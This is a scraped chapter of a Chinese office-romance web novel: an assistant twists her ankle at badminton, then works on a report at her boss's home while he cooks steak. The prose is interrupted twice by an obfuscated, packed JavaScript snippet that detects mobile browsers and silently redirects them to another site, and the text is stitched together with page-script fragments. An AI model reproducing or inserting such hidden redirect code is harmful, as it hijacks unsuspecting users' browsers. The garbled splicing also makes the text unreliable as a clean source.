;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713199|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。每次都把球往她的位置发,看她接不到球两个人还笑着击掌。 亏得她刚才还帮他忙! 梁芝欢回头朝毕正努努嘴,示意他来支援。毕正耸耸肩,无声地送了一个两个字的口型给她。 没理解错的话,那两个字应该是“活、该”。 冉青,你觉得可能吗? ....... 打完球,潘柏雷陪Nina先去了更衣室,梁芝欢赶紧坐在椅子上揉自己的脚踝。 “你还把脚扭了?”毕正拿着一块大毛巾正在擦汗,诧异的语气中带着不可思议。 他身上的汗味钻进她鼻子里,梁芝欢往边上挪了一点,皱着眉头说:“谁规定球技不好的人就不能扭到脚了?” 毕正叹了口气,调侃一句:“你对老板倒是很忠心!” 说得她好像是一条孝忠犬。 梁芝欢也学他叹口气,不以为然地接口:“我就当作是赞赏好了。” “你老板这种忙,以后还是不要帮比较好。”毕正擦好汗,开始整理东西。 梁芝欢一顿,反问:“那你呢?” “当然没有下次。”毕正斩钉截铁。 “你跟总经理不是好朋友吗?” “你以为他对那个什么Nina是认真的?” 梁芝欢没说话。 他是总经理的好朋友,当然比她更了解总经理。 其实,除了她听来的八卦,今天是头一次看见总经理追求女人---如果算得上追求的话---她并没有仔细去辨别他是否出于真心,或者只是游戏。 不知为何,在对他有限的认识里,总觉得有一片温暖的光束在他那双漂亮的眼睛后面。 她回想起那天在机场,他说“这是我们两个之间的秘密协议”的时候,分明看见那束光从他眼中闪耀而出…… 这样的人能有多荒唐呢? “我相信---”梁芝欢抬头看着毕正,对方正把球拍包挂上肩。 “总经理一定会遇到那个让他认真的人。” “你还真是……善解人意。”毕正迟疑了一下才把话补充完整。 “我还是当作赞赏好了。”她爽朗地一笑。 毕正回给她一个“请便”的表情,转身去更衣室。 潘柏雷已经换好衣服,看他进来,兴奋地告诉他一会儿要跟Nina去吃饭。 “那你的助理怎么办…….” 他还没把后面半句“她脚扭了”说出来,潘柏雷拍了拍他的背。 “你帮我送她回家。”然后,步履轻快地走了出去。 可等他换好衣服出来,梁芝欢已经不在休息区。 毕正发现,他没有她的联系电话。他觉得从礼貌上,应该关心一下。于是,拨通了潘柏雷的电话。 “我没看到你助理---” “啊,她说要去附近逛逛,不用搭你的车。” 逛逛?她的脚还能逛? 毕正挂上电话,不知为何回忆起之前载她回家的那个晚上。 她突然下了车,说不会再带给他困扰。 他本来有一丝后悔,不该对一个女人语气那么差。但后来再在公司碰面的时候,她对他视而不见的冷漠,顿时将那一丝后悔抛至九霄云外。 他隐隐觉得她的某些个性跟自己挺相像,比如固执、且不肯轻易服软。 比如,就算可以表面和气地一起吃饭、一起打球,但仍不愿意搭他的车。 15. 15 这个礼拜一的早晨,全城笼罩在一片浓浓的雾气之中。 出门上班的时候,明显能感受到湿漉漉的潮气。一进公司,梁芝欢迫不及待地去冲一杯暖香的咖啡。 “Sandy,早!”梁芝欢打着招呼,进来茶水间。 “正好,我有事跟你说。”Sandy把倒好的咖啡放在一边,给她腾出位置。 梁芝欢把杯子放在咖啡机上,揉了揉因打球而酸痛的胳膊。 “一大早八卦不好吧?” “正事儿!”Sandy笑了一下,“我们部门要搞一次团建,想邀请你跟潘总参加。” 梁芝欢点点头,的确是正事儿。 “你帮我问问潘总,下礼拜哪天有空?顺便跟你打听一下他喜欢什么类型的活动,我好筹划。” 梁芝欢想了想:“我也不知道他喜欢什么活动。” “你跟潘总提这事儿的时候,旁敲侧击一下呗。”Sandy帮她献策。 好吧,梁芝欢答应下来,然后用她不酸痛的左手端走了咖啡。 果然好久没有运动,打了一会儿球就给颜色。幸好脚上已经没事,否则这种鬼天气,她还要一瘸一拐地走在雾气中。 快十点潘柏雷还没有进公司,该不会堵在路上了吧? 梁芝欢从总经理室那一大片落地玻璃窗望出去,远处的雾气还未消散。正犹豫要不要打个电话时,她的座机反而响了,梁芝欢快步走出去接起电话。 “明天下午日本客户要来公司拜访,刘董让潘总也参加陪同,议程、以及晚宴的安排我刚才邮件发过去了,你看一下,及早准备。” Echo一副公事化的腔调,不紧不慢地交代完毕便挂上电话。 梁芝欢马上打开她的邮件。 果然,总经理要在会议中作报告,她又要准备一系列的资料了。但是,总经理没来她怎么开始? 梁芝欢从手机里翻出他的号码拨出去,语音提示她关机! 这下她完全不知道怎么联系到他,想了半天,似乎最好还是去找那个人。 梁芝欢绕到毕正的办公室门口,但不巧,门也是关着的。坐在不远处的沈佳璐看见她,问她是不是找毕正,她点头。 “他今天没来,你有事打他手机。” “我……我没有他的号码……” 沈佳璐仿佛有些意外,拿起自己的手机:“我发给你。” “哦,谢谢!”梁芝欢一边道谢一边想,公司里会有多少人有他的号码呢? 一样没来上班,不会一样关机吧? 梁芝欢一边录入毕正的号码,一边暗暗祈祷。最后电话拨通时,不由地松了口气。 很快,那头响起一个模式化的声音:“喂,你好。” “毕总,你好……”她清了清嗓子礼貌地说:“我是梁芝欢……” 电话里安静了一下,低沉的声音再度响起:“有什么事?” “我想问你知道总经理家里的电话吗?他今天没来公司,手机也关机。” “哦……稍等,我报给你。” 他应该是在翻手机通讯录,片刻之后报出一串数字。 在她记录的时候,他又说:“你怎么不去问Echo要?她肯定有他所有的联络方式。” 这点她倒是猜到了,只不过不想将总经理失联的事声张而已。 “不好意思,麻烦你了……” 毕正生硬地打断她:“还有其他事吗?” “没有了……谢谢……” “再见。”那头很干脆地挂断了电话。 * 潘柏雷在浴室模糊听到外间座机铃响,裹上浴巾去客厅接电话。 “是你啊……”他松了口气,“……等一下。” 潘柏雷走进卧室,按下另一部座机的免提键:“找我有事?” 中央空调的热风吹在湿热的皮肤上仍有一丝凉意。在听电话的同时,潘柏雷迅速擦干身体,找衣服一一套上。 按照助理的说法,报告必须今天开始写。可他刚刚起床洗好澡,根本不想在这种鬼天气出门去公司。 很快,他发现自己的笔记本还留在办公桌上。 “Shit!”潘柏雷在电话里咒骂一声。 “这样,你带好我的笔记本、还有你的笔记本,再看看需要哪些资料,一并收拾好,然后打个车到我家来。” 潘柏雷很高兴想到这个办法,全然没在意助理为难的语气,十分肯定地确认:“对,就在我家写报告。” ....... 小区的保安得到业主本人确认之后,梁芝欢才被放进来。因为知道她到了,所以门铃一响,潘柏雷就来开门,顺手接过她手里的两个电脑包。 梁芝欢瞥见餐桌上摆着半碗面条,怪不得进来闻到一股味道。她看了下手机上的时间,才十一点。 “我的brunch。”潘柏雷笑着解释,“没吃早饭,实在等不到中午了。” 梁芝欢回给他一个表示理解的笑容,请他继续。再环顾四周,似乎只有沙发区比较适合办公。 “电脑放茶几那边吗?” 潘柏雷嘴里塞满面条,欣然点了点头。 “对了,我离开公司之前刘董来找你,他问你今天怎么没来。” “那你怎么说?” “我说你不太舒服,今天在家办公。” 梁芝欢有些忐忑地看向他,不知道他会不会怪她擅作主张,结果他只是爽朗地笑了两声。 “所以,万一刘董或者Echo打电话给你,千万不要说岔了。” “真是难为你了。”潘柏雷好笑地放下筷子,碗里的面条所剩无几。 “为了报答你专门跑过来,我要给你加一块牛排。” “.......” “本来只打算给你煮一碗面的。” 梁芝欢分不清他究竟是随便说说还是当真,总之,他真的去了厨房。她把电脑打开,又理了会儿资料,突然闻到一丝肉香,忍不住跑去厨房一探究竟。 “真的在煎牛排啊?”梁芝欢终于确定他不是开玩笑。 平底锅里两大片牛排正滋滋地发出响声,一股浓烈的混杂着牛肉和红酒的香味扑鼻而来。 “不是吹牛,我煎的牛排堪比米其林餐厅。”潘大厨一脸的傲娇。 “米其林餐厅应该会先问客人要几分熟吧?” 他很夸张地来了一个“哇哦”,笃定地说:“相信我,七分是口感最佳的时候。” “你好像很会做饭的样子。” 看他操作起来相当熟练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13720170|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “估计每一个在英国呆上两年的留学生都不得不学会做饭……” 潘柏雷语气里透着深深的无奈:“那里的一日三餐会把人逼疯……” 梁芝欢莞尔。 “这也算是一种收获吧,至少,会做饭的男性比较受欢迎。” 潘柏雷把牛排翻了一个面,平底锅旁边的汤锅水也开了,梁芝欢自告奋勇来下面条。 “虽然我不太会做饭,不过煮面条这种简单的我还可以。” “现在的世道反过来了吗?做饭都变成男人的事了。” “男人也不见得都会做饭啊。” “毕正就很会做饭啊!我只会西式,他是中西贯通。” “那他去哪里留过学?” “不是---”潘柏雷笑了笑,“他学做饭是因为他太挑剔,他总嫌别人做的不好吃。” 梁芝欢“哦”了一声,把面条盛在放好汤料的大碗里。 这时候,潘柏雷的牛排也出锅了。于是她端着一碗面,他拿两盘牛排,两人一前一后出了厨房。 潘柏雷把整块牛排切成小条,撒上黑胡椒和海盐,用叉子叉起一块递给她。 “怎么样?”他的表情仿佛是一个等待老师嘉奖的小朋友。 梁芝欢本来已经想好无论怎样都要装作很好吃的样子,结果牛肉入口嚼在嘴里的滋味……还真不错! 所以根本不用假装,她真挚地赞赏道:“我虽然没有吃过米其林餐厅,不过你做的牛排真的非常非常好吃。” 听到这话,潘柏雷开心地弯起嘴角,连眼睛都蒙上了一层明显的笑意。 梁芝欢看着他明亮的眼神微微一怔,好像又发现了那种温暖的光芒。 她迅速低下头,专心地吃着面条和牛排…… 下午开始工作,两个人一边讨论,一边挑选明天会议需要的资料。 茶几矮,潘柏雷索性坐在厚厚的地毯上。客厅的电视机一直开着新闻频道,偶尔注意力分散的时候,看一眼新闻,再随口交流两句。 梁芝欢发现,这样即使两人共处一室,也并没有来之前想象的那般不自在。而且工作进行得相当顺利,她估算了时间,应该四点就可以结束。 客厅的座机铃声骤然响起,潘柏雷接上电话,看她用口型说了“生病”两个字,笑着让电话那头的人“等一下”。 “是阿正。”他小声地道明,转身走进卧室去听电话。 “你是在躲某个女人吧?”毕正才不相信他手机坏了。 潘柏雷被他一语中的,讪讪地承认。 “早上你助理找你,找到我这儿来了。” “哦,她已经来了。” “她在你家?”毕正的声音很讶异,“你不是从来不让女人去你家?” “她又不是女人……”这句话落,潘柏雷压低了嗓门。 “我的意思是,我没把她归入那些女人。” “哪些女人?”电话里有点不依不饶。 “可以泡的女人。”潘柏雷朝着话筒低吼。 这家伙明知故问。 他又强调:“还有,她来我家是因为工作。” “那么,祝你们工作愉快!” 那头毕正用一种很奇怪的腔调说了这么一句,然后挂断电话。